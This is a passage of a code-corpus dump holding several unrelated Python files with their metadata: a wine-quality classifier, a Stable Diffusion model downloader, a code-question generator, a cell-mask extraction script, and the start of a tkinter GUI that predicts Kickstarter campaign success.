31, "usage_type": "name"}, {"api_name": "unittest.mock.patch", "line_number": 27, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 28, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 29, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 38, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 43, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 49, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 50, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 59, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 56, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 57, "usage_type": "call"}, {"api_name": "file.FileStorage", "line_number": 67, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 64, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 65, "usage_type": "call"}, {"api_name": "file.FileStorage", "line_number": 72, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 73, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 79, "usage_type": "call"}, {"api_name": "tempfile.TemporaryDirectory", "line_number": 84, "usage_type": "call"}, {"api_name": "file.FileStorage", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "tempfile.TemporaryDirectory", "line_number": 95, "usage_type": "call"}, {"api_name": "file.FileStorage", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}]} {"seq_id": "33384526679", "text": "import numpy as np\nimport pandas as pd\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import accuracy_score, confusion_matrix, classification_report\nfrom sklearn.model_selection import RandomizedSearchCV\nimport pickle\n\ndf = pd.read_csv('./Data/winequality_red.csv')\nprint(df.head())\n\nx = df.drop(columns=['quality'])\ny = df['quality']\n\nscaler = StandardScaler()\nX_scaled = scaler.fit_transform(x)\n# print(X_scaled)\n\nx_train, x_test, y_train, y_test = train_test_split(X_scaled, y, test_size=0.25, random_state=355)\n\nrfc = RandomForestClassifier()\nrfc.fit(x_train, y_train)\ny_pred = rfc.predict(x_test)\n\nprint(\"The Testing accuracy score is : \", accuracy_score(y_test, y_pred))\nprint(\"Confusion Matrix : \", confusion_matrix(y_test, y_pred))\nprint(\"Classification Report : \", classification_report(y_test, y_pred))\n\nparam_dist = {\n \"n_estimators\": range(100, 3000, 50),\n 'criterion': ['gini', 'entropy'],\n 'max_depth': range(2, 51, 1),\n 'min_samples_leaf': range(1, 51, 1),\n 'min_samples_split': range(2, 51, 1),\n 'max_features': ['auto', 'log2']\n}\nrandomized_search = RandomizedSearchCV(estimator=rfc, param_distributions=param_dist, n_iter=300, cv=7, random_state=160, n_jobs=-1, verbose=3)\nrandomized_search.fit(x_train, y_train)\n\nprint(\"After RandomizedSearch CV)\")\nprint('Best Parameters : ', randomized_search.best_params_)\nrfc_best = randomized_search.best_estimator_\nprint(f'rf_best:{rfc_best}')\ny_pre = rfc_best.predict(x_test)\nprint(\"Accuracy Score :- \", accuracy_score(y_test, y_pre))\nprint(\"Confusion Matrix :- \", confusion_matrix(y_test, y_pre))\nprint(\"Classification Report :- \", classification_report(y_test, y_pre))\n\n\n# with open('Final_ModelForPrediction.pkl', 'wb') as f:\n# pickle.dump(rfc_best,f)\n# pickle.dump(scaler, open('scaler_model.pkl', 'wb'))\n\nloaded_model = pickle.load(open('Final_ModelForPrediction.pkl', 'rb'))\nscaler_model = pickle.load(open('scaler_model.pkl', 'rb'))\nd=scaler_model.transform([[7, 0.8, 0.5, 12, 0.4, 50, 200, 0.9970, 3, 1.2, 13]])\npred=loaded_model.predict(d)\nprint('This data belongs to class :', pred[0])\n\n", "repo_name": "ManthanTakalkar/Wine-Quality-Prediction", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2206, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.read_csv", "line_number": 10, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 16, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 20, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 22, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 26, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 27, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 28, "usage_type": "call"}, {"api_name": "sklearn.model_selection.RandomizedSearchCV", "line_number": 38, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 46, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 47, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 48, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 55, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 56, "usage_type": "call"}]} {"seq_id": "12839742986", "text": "import os\nfrom dataclasses import dataclass\nfrom diffusers import DiffusionPipeline, StableDiffusionUpscalePipeline\nimport torch\n\nimport opts\nfrom constants import EMPTY_MODEL\nfrom convert_checkpoint import convert_checkpoint\n\ncache_path = os.path.join(os.path.dirname(__file__), 'cache')\nckpt_path = os.path.join(os.path.dirname(__file__), 'models')\nediting_path = os.path.join(os.path.dirname(__file__), 'editing_cache')\nfor path in [cache_path, ckpt_path, editing_path]:\n os.makedirs(path, exist_ok=True)\n\n\ndef get_model_path(model_name):\n if model_name == EMPTY_MODEL:\n raise Exception(f'Cannot get model for {EMPTY_MODEL}')\n print('using model at path', os.path.join(cache_path, model_name)\n )\n return os.path.join(cache_path, model_name)\n\n\n# def get_upscaler_choice():\n# dirs = [f for f in os.listdir(cache_path) if os.path.isdir(\n# os.path.join(cache_path, f))]\n# upscalers = [f for f in dirs if f.endswith('upscaler')]\n# return EMPTY_MODEL if len(upscalers) == 0 else upscalers[0]\n\n\ndef get_cache_models():\n dirs = [f for f in os.listdir(cache_path) if os.path.isdir(\n os.path.join(cache_path, f))]\n # print('opts', opts.global_opts)\n # upscalers = [f for f in dirs if f.endswith('upscaler')]\n return {\n 'regular': [EMPTY_MODEL] + [f for f in dirs if not (f.endswith('inpainting') or f.endswith('upscaler'))],\n 'inpainting': [EMPTY_MODEL] + [f for f in dirs if f.endswith('inpainting')],\n # 'upscalerChoice': get_upscaler_choice(),\n 'regularChoice': opts.global_opts.regularChoice,\n 'inpaintingChoice': opts.global_opts.inpaintingChoice,\n 'outpaintingChoice': opts.global_opts.outpaintingChoice,\n }\n\n\ndef get_ckpts():\n return [EMPTY_MODEL] + [f for f in os.listdir(ckpt_path) if f.endswith('.ckpt')]\n\n# create a dataclass called ModelDownload with the following fields:\n# name: str\n# url: str\n# description: str\n\n\n@dataclass\nclass ModelDownload:\n name: str\n save_name: str\n repo_id: str\n description: str\n\n def download(self):\n from dotenv import load_dotenv\n load_dotenv()\n if os.environ.get('HF_TOKEN', None) is None:\n print('hugging face token is required. set HF_TOKEN env var.')\n return\n print('Downloading model', self.name)\n # pipe_class = DiffusionPipeline if not self.repo_id.endswith(\n # 'upscaler') else StableDiffusionUpscalePipeline\n pipe_class = DiffusionPipeline\n try:\n pipe = pipe_class.from_pretrained(\n self.repo_id,\n torch_dtype=torch.float16,\n revision='fp16',\n use_auth_token=os.environ['HF_TOKEN'])\n except OSError:\n print('Error! Trying again without fp16 revision')\n pipe = pipe_class.from_pretrained(\n self.repo_id,\n torch_dtype=torch.float16,\n use_auth_token=os.environ['HF_TOKEN'])\n path = get_model_path(self.save_name)\n os.makedirs(path, exist_ok=True)\n print('Saving model to', path)\n pipe.save_pretrained(path)\n print('Done.')\n\n\ndownloads = [\n ModelDownload(\n name='SD2.1 - 512',\n save_name='sd2-1-512',\n repo_id=\"stabilityai/stable-diffusion-2-1-base\",\n description='stabilityai/stable-diffusion-2-1-base: Stable Diffusion v2.1 model trained on 512x512 images. Good starting model.',\n ),\n ModelDownload(\n name='SD2 - 768',\n save_name='sd2-768',\n repo_id=\"stabilityai/stable-diffusion-2\",\n description='stabilityai/stable-diffusion-2: Stable Diffusion v2 model trained on 768x768 images. For more powerful GPUs, this allows you to generate larger images with higher fidelity.',\n ),\n ModelDownload(\n name='SD2 - Inpainting',\n save_name='sd2-inpainting',\n repo_id=\"stabilityai/stable-diffusion-2-inpainting\",\n description='stabilityai/stable-diffusion-2-inpainting: Stable Diffusion v2 model trained for inpainting and outpainting.',\n ),\n # ModelDownload(\n # name='SD2 - Upscaler',\n # save_name='sd2-upscaler',\n # repo_id=\"stabilityai/stable-diffusion-x4-upscaler\",\n # description='Model specifically for upscaling. Download in order to use the upscaler.',\n # ),\n]\n\n\ndef get_downloads():\n return [d.__dict__ for d in downloads]\n\n\ndef download_model(name):\n for d in downloads:\n if d.name == name:\n d.download()\n return True\n return False\n\n\ndef download_by_repo_id(save_name, repo_id):\n d = ModelDownload(\n name=save_name,\n save_name=save_name,\n repo_id=repo_id,\n description='Custom model',\n )\n d.download()\n\n\ndef convert_ckpt(save_name, ckpt_name, inpainting=False):\n pipe = convert_checkpoint(\n os.path.join(ckpt_path, ckpt_name),\n inpainting=inpainting,\n )\n path = get_model_path(save_name)\n print('Saving model to', path)\n pipe.save_pretrained(path)\n print('Done.')\n\n\ndef get_model_data(clear_download=False):\n res = {\n 'models': get_cache_models(),\n 'ckpts': get_ckpts(),\n 'downloads': get_downloads(),\n }\n if clear_download:\n res['downloading'] = None\n return res\n", "repo_name": "danpursuit/all-is-one", "sub_path": "server/model_finder.py", "file_name": "model_finder.py", "file_ext": "py", "file_size_in_byte": 5282, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 13, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 12, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 14, "usage_type": "call"}, {"api_name": "constants.EMPTY_MODEL", "line_number": 18, "usage_type": "name"}, {"api_name": "constants.EMPTY_MODEL", "line_number": 19, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "constants.EMPTY_MODEL", "line_number": 38, "usage_type": "name"}, {"api_name": "constants.EMPTY_MODEL", "line_number": 39, "usage_type": "name"}, {"api_name": "opts.global_opts", "line_number": 41, "usage_type": "attribute"}, {"api_name": "opts.global_opts", "line_number": 42, "usage_type": "attribute"}, {"api_name": "opts.global_opts", "line_number": 43, "usage_type": "attribute"}, {"api_name": "constants.EMPTY_MODEL", "line_number": 48, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 48, "usage_type": "call"}, {"api_name": "dotenv.load_dotenv", "line_number": 65, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 66, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 66, "usage_type": "attribute"}, {"api_name": "diffusers.DiffusionPipeline", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.float16", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 78, "usage_type": "attribute"}, {"api_name": "torch.float16", "line_number": 83, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 84, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 86, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 56, "usage_type": "name"}, {"api_name": "{'load_dotenv': 'dotenv.load_dotenv'}", "line_number": 93, "usage_type": "call"}, {"api_name": "{'load_dotenv': 'dotenv.load_dotenv'}", "line_number": 99, "usage_type": "call"}, {"api_name": "{'load_dotenv': 'dotenv.load_dotenv'}", "line_number": 105, "usage_type": "call"}, {"api_name": "{'load_dotenv': 'dotenv.load_dotenv'}", "line_number": 133, "usage_type": "call"}, {"api_name": "convert_checkpoint.convert_checkpoint", "line_number": 143, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path", "line_number": 144, "usage_type": "attribute"}]} {"seq_id": "25072138758", "text": "from ast import AST, FunctionDef\nfrom typing import List, Optional\n\nfrom ..i18n import t\nfrom ..instrument import Instrumentor, ProgramData\nfrom ..models import QLC, QLCPrepared\nfrom .options import pick_options, options, take_options, fill_options\n\nWORD_LIST = ['total', 'other', 'foo', 'bar', 'n', 'tmp', 'magic', 'temp', 'important']\n\nclass VariableNames(QLCPrepared):\n def __init__(self, pos: int, type: str, data: ProgramData):\n super().__init__(pos, type)\n self.data = data\n\n def make(self):\n vars = list(self.data.elements_for_types(['variable']))\n if len(vars) == 0:\n return None\n kws = list(self.data.elements_for_types(['keyword']))\n bis = list(self.data.elements_for_types(['builtin']))\n uws = [w for w in WORD_LIST if self.data.element_for_id(w) is None]\n return QLC(\n self.pos,\n self.type,\n t('q_variable_names'),\n pick_options(\n take_options(2, [e.id for e in vars], 'variable', t('o_variable_name'), True),\n fill_options(3, [e.id for e in kws], 'reserved_word', t('o_reserved_word')),\n take_options(1, [e.id for e in bis], 'builtin_function', t('o_built_in_function')),\n fill_options(5, uws, 'unused_word', t('o_unused_word')),\n )\n )\n\ndef variable_names(\n pos: int,\n type: str,\n tree: AST,\n call: Optional[str],\n ins: Instrumentor\n) -> List[VariableNames]:\n return [VariableNames(pos, type, ins.data)]\n\nclass ParameterNames(QLCPrepared):\n def __init__(self, pos: int, type: str, data: ProgramData, function: ProgramData.Element):\n super().__init__(pos, type)\n self.data = data\n self.function = function\n\n def make(self):\n args = list(self.data.elements_in_scope(self.function.container_scope, ['argument']))\n if len(args) == 0:\n return None\n vars = list(self.data.elements_in_scope(self.function.container_scope, ['variable']))\n kws = list(self.data.elements_for_types(['keyword']))\n return QLC(\n self.pos,\n self.type,\n t('q_parameter_names', self.function.declaration.node.lineno),\n pick_options(\n take_options(2, [e.id for e in args], 'parameter', t('o_parameter_name'), True),\n options([self.function.id], 'function', t('o_function_name')),\n take_options(2, [e.id for e in vars], 'variable', t('o_variable_name')),\n fill_options(5, [e.id for e in kws], 'reserved_word', t('o_reserved_word')),\n )\n )\n\ndef parameter_names(\n pos: int,\n type: str,\n tree: AST,\n call: Optional[str],\n ins: Instrumentor\n) -> List[ParameterNames]:\n return [ParameterNames(pos, type, ins.data, e) for e in ins.data.elements_for_types(['function'])]\n", "repo_name": "teemulehtinen/qlcpy", "sub_path": "qlcpy/questions/names.py", "file_name": "names.py", "file_ext": "py", "file_size_in_byte": 2628, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "models.QLCPrepared", "line_number": 11, "usage_type": "name"}, {"api_name": "instrument.ProgramData", "line_number": 12, "usage_type": "name"}, {"api_name": "models.QLC", "line_number": 23, "usage_type": "call"}, {"api_name": "i18n.t", "line_number": 26, "usage_type": "call"}, {"api_name": "options.pick_options", "line_number": 27, "usage_type": "call"}, {"api_name": "options.take_options", "line_number": 28, "usage_type": "call"}, {"api_name": "i18n.t", "line_number": 28, "usage_type": "call"}, {"api_name": "options.fill_options", "line_number": 29, "usage_type": "call"}, {"api_name": "i18n.t", "line_number": 29, "usage_type": "call"}, {"api_name": "options.take_options", "line_number": 30, "usage_type": "call"}, {"api_name": "i18n.t", "line_number": 30, "usage_type": "call"}, {"api_name": "options.fill_options", "line_number": 31, "usage_type": "call"}, {"api_name": "i18n.t", "line_number": 31, "usage_type": "call"}, {"api_name": "ast.AST", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 39, "usage_type": "name"}, {"api_name": "instrument.Instrumentor", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 41, "usage_type": "name"}, {"api_name": "models.QLCPrepared", "line_number": 44, "usage_type": "name"}, {"api_name": "instrument.ProgramData", "line_number": 45, "usage_type": "name"}, {"api_name": "instrument.ProgramData.Element", "line_number": 45, "usage_type": "attribute"}, {"api_name": "models.QLC", "line_number": 56, "usage_type": "call"}, {"api_name": "i18n.t", "line_number": 59, "usage_type": "call"}, {"api_name": "options.pick_options", "line_number": 60, "usage_type": "call"}, {"api_name": "options.take_options", "line_number": 61, "usage_type": "call"}, {"api_name": "i18n.t", "line_number": 61, "usage_type": "call"}, {"api_name": "options.options", "line_number": 62, "usage_type": "call"}, {"api_name": "i18n.t", "line_number": 62, "usage_type": "call"}, {"api_name": "options.take_options", "line_number": 63, "usage_type": "call"}, {"api_name": "i18n.t", "line_number": 63, "usage_type": "call"}, {"api_name": "options.fill_options", "line_number": 64, "usage_type": "call"}, {"api_name": "i18n.t", "line_number": 64, "usage_type": "call"}, {"api_name": "ast.AST", "line_number": 71, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 72, "usage_type": "name"}, {"api_name": "instrument.Instrumentor", "line_number": 73, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 74, "usage_type": "name"}]} {"seq_id": "2169683140", "text": "import argparse\nimport os\nfrom collections import namedtuple\nfrom typing import List, Union\nfrom pathlib import Path\n\nimport numpy as np\nfrom skimage import measure, io\n\nfrom ctc_dataset import Dataset\n\n\nCellSubimage = namedtuple('CellSubimage', ['label', 'image', 'mask'])\n\n\ndef extract_cell_subimages(image: np.ndarray, labels: np.ndarray) -> List[CellSubimage]:\n props: List[measure._regionprops.RegionProperties] = measure.regionprops(labels, image)\n\n subimages: List[CellSubimage] = []\n # KDIR = '/home/radoslav/PhD_prep/debug/'\n for region in props:\n lab_sub = np.where(region.image.copy(), 255, 0).astype(np.uint8)\n # io.imsave(os.path.join(KDIR, f'big_{region.label}.png'), (255 * (labels > 0)).astype(np.uint8))\n # io.imsave(os.path.join(KDIR, f'sub_{region.label}.png'), lab_sub)\n img_sub = region.intensity_image.copy()\n subimages.append(CellSubimage(region.label, img_sub, lab_sub))\n return subimages\n\n\ndef save_cell_subimages(subimages: List[CellSubimage], ident: Union[int, str], folder: str, save: str='both'):\n save_image = save == 'both' or save == 'image'\n save_mask = save == 'both' or save == 'mask'\n\n base_name = 'N' + str(ident) + '_'\n for subimage in subimages:\n specific_name = base_name + str(subimage.label) + '_'\n image_name = specific_name + 'i.tiff'\n mask_name = specific_name + 'm.png'\n if save_image:\n io.imsave(os.path.join(folder, 'images', image_name), subimage.image)\n if save_mask:\n io.imsave(os.path.join(folder, 'masks', mask_name), subimage.mask)\n\n\ndef make_dir(fol):\n nonexistent = []\n current_path = os.path.normpath(fol)\n while not os.path.exists(current_path):\n nonexistent.append(current_path)\n current_path, _ = os.path.split(current_path)\n for path in reversed(nonexistent):\n os.mkdir(path)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Extract individual cell mask from segmentation masks for a given CTC folder.\")\n parser.add_argument('ctc_folder', help='Cell tracking challenge dataset folder.')\n parser.add_argument('--save_pairs', action='store_true', help='if provided, extracts also the corresponding intensity subimage')\n parser.add_argument('--truth', default='GT', help='Kind of annotation to extract, either ST(silver) or GT(gold) truth', choices=['GT', 'ST'])\n parser.add_argument('--out', default='./', help='Folder where the extracted mask will be saved. Defaults to {current_dir}/{ctc_folder}_cell_masks/')\n\n args = parser.parse_args()\n\n in_path = os.path.abspath(args.ctc_folder)\n out_path = os.path.join(os.path.abspath(args.out), f'{os.path.split(in_path)[1]}_cell_masks_{args.truth}/')\n out_path = os.path.normpath(out_path)\n\n save_flag = 'both' if args.save_pairs else 'mask'\n truth = args.truth\n\n if not os.path.exists(out_path):\n make_dir(out_path)\n \n if not (Path(out_path) / 'images').exists():\n make_dir(Path(out_path) / 'images')\n \n if not (Path(out_path) / 'masks').exists():\n make_dir(Path(out_path) / 'masks')\n\n print(in_path)\n print(out_path)\n\n ds = Dataset(in_path)\n\n for seq in ds.sequences:\n seq_str = f'{seq.seq_id:0>2}'\n imgs_anns = seq.get_abs_truth_file_names(truth)\n for i, (img, ann) in enumerate(imgs_anns):\n img = io.imread(img, as_gray=True)\n ann = io.imread(ann, as_gray=True)\n\n subimages = extract_cell_subimages(img, ann)\n save_cell_subimages(subimages, seq_str + '_' + str(i), folder=out_path, save=save_flag)\n\n\n", "repo_name": "mrazr/ctc_utils", "sub_path": "extract_masks.py", "file_name": "extract_masks.py", "file_ext": "py", "file_size_in_byte": 3628, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.namedtuple", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 16, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 17, "usage_type": "name"}, {"api_name": "skimage.measure._regionprops", "line_number": 17, "usage_type": "attribute"}, {"api_name": "skimage.measure", "line_number": 17, "usage_type": "name"}, {"api_name": "skimage.measure.regionprops", "line_number": 17, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 19, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 22, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 16, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 30, "usage_type": "name"}, {"api_name": "skimage.io.imsave", "line_number": 40, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 40, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "skimage.io.imsave", "line_number": 42, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 42, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.path.normpath", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 52, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.normpath", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 74, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 75, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 77, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 78, "usage_type": "call"}, {"api_name": "ctc_dataset.Dataset", "line_number": 83, "usage_type": "call"}, {"api_name": "skimage.io.imread", "line_number": 89, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 89, "usage_type": "name"}, {"api_name": "skimage.io.imread", "line_number": 90, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 90, "usage_type": "name"}]} {"seq_id": "11246499088", "text": "from tkinter import *\nfrom tkinter import ttk\nfrom ttkthemes import themed_tk as tk\nfrom PIL import Image, ImageTk\n\nfrom sklearn import preprocessing\nimport xgboost as xgb\n\n\nimport pickle\nimport numpy as np\nimport pandas as pd\nimport tkinter.messagebox\n\n\n\n\nwith open(\"Analiza_Modeli/model_reg.pickle\", 'rb') as file:\n trained_regmodel = pickle.load(file)\n\nwith open(\"Analiza_Modeli/model_class.pickle\", 'rb') as file:\n trained_classmodel = pickle.load(file)\n\ntrained_regmodel\ntrained_classmodel\n\nwith open(\"encoders.pickle\", 'rb') as file2:\n encoders = pickle.load(file2)\n\nencoders\n\nversion = 'v0.102'\n\n####### pomocnicze zmienne listy itp #####################\n\n\nkursy_walut = {'SGD': 0.7218272535233189, 'EUR': 1.1238612937944434, 'DKK': 0.14862087297218637, 'CAD': 0.8145423808817589, 'AUD': 0.8029694136890776, 'GBP': 1.5207327949927543, 'USD': 1.0, 'MXN': 0.05303800288397823, 'HKD': 0.12838130718608456, 'CHF': 1.0320771710383756, 'JPY': 0.008826237200036304, 'SEK': 0.12031274002718356, 'NZD': 0.7616139550831179, 'NOK': 0.12166770926093867, 'PLN': 0.3125, 'Specify goal in USD':1}\n\nkraj_waluta = {'not considered': 'Specify goal in USD','Poland':'PLN','Other':'Specify goal in USD','Singapore': 'SGD', 'Ireland': 'EUR', 'Norway': 'NOK', 'New Zealand': 'NZD', 'Netherlands': 'EUR', 'Australia': 'AUD', 'Spain': 'EUR', 'Mexico': 'MXN', 'Hong Kong': 'HKD', 'United States': 'USD', 'Denmark': 'DKK', 'Japan': 'JPY', 'Luxembourg': 'EUR', 'Italy': 'EUR', 'Germany': 'EUR', 'Canada': 'CAD', 'Sweden': 'SEK', 'Great Britain (UK)': 'GBP', 'Belgium': 'EUR', 'Austria': 'EUR', 'Switzerland': 'CHF', 'France': 'EUR'}\n\nchosen_main_cat = ''\nchosen_country = ''\nchosen_subcat = ''\nchosen_currency = ''\n\nchosen_goal = ''\nchosen_main_cat_cat = ''\nchosen_duration = 30\n\n\n\n\n############# definicje fukcji ##########\n\n\n# pomocnicza z kursu tkinter\ndef doNothing():\n print(\"ok ok I won't...\")\n\n\n\n# sprawdzenie i użycie testowe wybranych w widźetach parametrów\ndef checkParamas():\n tmpCAT = catMenu.get()\n tmpCNTR = countryMenu.get()\n tmpSUBCAT = subcatMenu.get()\n tmpGOAL = goalSpinbox.get()\n tmpDUR = durationSpinbox.get()\n\n global chosen_main_cat\n chosen_main_cat = tmpCAT\n\n global chosen_duration\n chosen_duration = tmpDUR\n\n global chosen_country\n chosen_country = tmpCNTR\n\n global chosen_subcat\n chosen_subcat = tmpSUBCAT\n\n global chosen_goal\n chosen_goal = tmpGOAL\n\n global chosen_main_cat_cat\n chosen_main_cat_cat = f\"{chosen_main_cat}>{chosen_subcat}\"\n\n if tmpCAT != '' and tmpCNTR != '' and tmpSUBCAT != '' and tmpGOAL != '' and tmpDUR != '':\n localCURR = kraj_waluta[tmpCNTR]\n global chosen_currency\n chosen_currency = localCURR\n localGOAL = round(float(tmpGOAL) / kursy_walut[localCURR], 1)\n paramInfolabel.configure(text = f\"Your Campaign's main category: {tmpCAT}\\n\"\n f\"Your Campaing's sub category : {tmpSUBCAT}\\n\"\n f\"Your Campaign's launch country: {tmpCNTR}\\n\"\n f\"Your Campaign's duration: {tmpDUR}\\n\"\n f\"Your Campaign's goal is {tmpGOAL} USD ({localGOAL} in {localCURR} ).\\n\"\n f\"All parameters selected. Check your chances... EVALUATE CAMPAIGN\")\n else:\n paramInfolabel.configure(text=f\"Not all parameters selected!\")\n\n\n#pomocnicza funkcja sprawdzająca (w konsoli) czy została zapisana wartość globalnej zmiennej main_chosen\ndef run_magic():\n print(chosen_main_cat)\n\n\n#kodowanie podanych danych\ndef input_encode():\n global enc_main_cat_cat\n enc_main_cat_cat = encoders['main_cat_cat'].transform([chosen_main_cat_cat])\n global enc_country\n enc_country = encoders['country'].transform([chosen_country])\n global enc_currency\n enc_currency = encoders['currency'].transform([chosen_currency])\n\n\ndef predict_pledged():\n input_encode()\n data = pd.DataFrame(data = {'main_cat_cat': enc_main_cat_cat, 'country':enc_country, 'duration' : float(chosen_duration), 'currency': enc_currency, 'goal_in_usd': float(chosen_goal)})\n\n preds = trained_regmodel.predict(data)\n pred_succes = trained_classmodel.predict(data)\n if pred_succes.mean() == 1 and preds.mean() > int(chosen_goal):\n resultlabel.configure(text=f\"Propably you WILL SUCCED !! \\n\"\n f\"You may have a chance to reach even higher GOAL : {preds.mean().round()}$!\")\n elif pred_succes.mean() == 1 and preds.mean() < int(chosen_goal):\n resultlabel.configure(text=f\"Propably you WILL SUCCED !! \\n\"\n f\"The GOAL you've chosen looks JUST OK!\")\n\n elif pred_succes.mean() == 0 and preds.mean() < int(chosen_goal) and preds.mean() > 